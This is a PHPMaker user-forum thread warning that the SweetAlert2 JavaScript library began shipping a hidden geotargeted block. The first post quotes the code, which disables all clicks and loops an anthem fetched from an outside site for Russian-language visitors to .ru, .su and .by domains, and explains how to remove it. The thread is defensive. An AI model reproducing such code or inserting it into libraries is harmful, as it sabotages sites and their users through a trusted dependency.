SweetAlert2 added STOP WAR message for Russians

This public forum is for user-to-user discussions of PHPMaker. Note that this is not support forum.
Post Reply
alex
User
Posts: 267

SweetAlert2 added STOP WAR message for Russians

Post by alex »

Hello! Users from Russia cannot login to phpmaker projects using sweetalert2 - plays music Ukraina.mp3 and all content is blocked.

Find and remove code from files:

/js/sweetalert2.all.js
/js/sweetalert2.all.min.js

  // Dear russian users visiting russian sites. Let's have fun.
  if (typeof window !== 'undefined' && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) {
    var now = new Date();
    var initiationDate = localStorage.getItem('swal-initiation');
    if (!initiationDate) {
      localStorage.setItem('swal-initiation', "".concat(now));
    } else if ((now.getTime() - Date.parse(initiationDate)) / (1000 * 60 * 60 * 24) > 3) {
      setTimeout(function () {
        document.body.style.pointerEvents = 'none';
        var ukrainianAnthem = document.createElement('audio');
        ukrainianAnthem.src = 'https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3';
        ukrainianAnthem.loop = true;
        document.body.appendChild(ukrainianAnthem);
        setTimeout(function () {
          ukrainianAnthem.play()["catch"](function () {
            // ignore
          });
        }, 2500);
      }, 500);
    }
  }

Don't upload newly generated files. I changed permissions to 0444 on production server in order to forbid uploading.

More info: github.com/sweetalert2/sweetalert2/commit/64825e44f7a67e3a8b43d0b37ad665cc7fd4f78f


arbei
User
Posts: 9384

Post by arbei »

You may replace the scripts by older version of SweetAlert2.


Post Reply